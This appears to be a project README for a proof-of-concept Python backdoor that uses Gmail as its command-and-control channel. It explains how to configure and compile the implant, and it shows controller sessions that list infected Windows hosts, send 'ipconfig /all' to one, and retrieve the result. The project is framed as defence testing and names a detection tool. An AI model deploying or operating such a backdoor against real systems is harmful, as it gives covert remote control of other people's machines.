A PoC backdoor that uses Gmail as a C&C server
A stealthy Python based backdoor that uses Gmail as a command and control server
This project was inspired by the original PoC code from Benjamin Donnelly
... that was released for orginazations to test their defenses against these type of attacks. In order to detect them see projects like RITA.
For a more up to date and maintained version of this project see GDog
For this to work you need:
This repo contains two files:
gcat.py a script that's used to enumerate and issue commands to available clientsimplant.py the actual backdoor to deployIn both files, edit the gmail_user and gmail_pwd variables with the username and password of the account you previously setup.
You're probably going to want to compile implant.py into an executable using Pyinstaller
Note: It's recommended you compile implant.py using a 32bit Python installation
…#~ python gcat.py -list
f964f907-dfcb-52ec-a993-543f6efc9e13 Windows-8-6.2.9200-x86
90b2cd83-cb36-52de-84ee-99db6ff41a11 Windows-XP-5.1.2600-SP3-x86The output is a UUID string that uniquely identifies the system and the OS the implant is running on
#~ python gcat.py -id 90b2cd83-cb36-52de-84ee-99db6ff41a11 -cmd 'ipconfig /all'
[*] Command sent successfully with jobid: SH3C4gvHere we are telling 90b2cd83-cb36-52de-84ee-99db6ff41a11 to execute ipconfig /all, the script then outputs the jobid that we can use to retrieve the output of that command
#~ python gcat.py -id 90b2cd83-cb36-52de-84ee-99db6ff41a11 -jobid SH3C4gv
DATE: 'Tue, 09 Jun 2015 06:51:44 -0700 (PDT)'
JOBID: SH3C4gv
FG WINDOW: 'Command Prompt - C:\Python27\python.exe implant.py'
CMD: 'ipconfig /all'
Windows IP Configuration
Host Name . . . . . . . . . . . . : unknown-2d44b52
Primary Dns Suffix . . . . . . . :
Node Type . . . . . . . . . . . . : Unknown
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
-- SNIP --No open issues yet, or sync has not completed.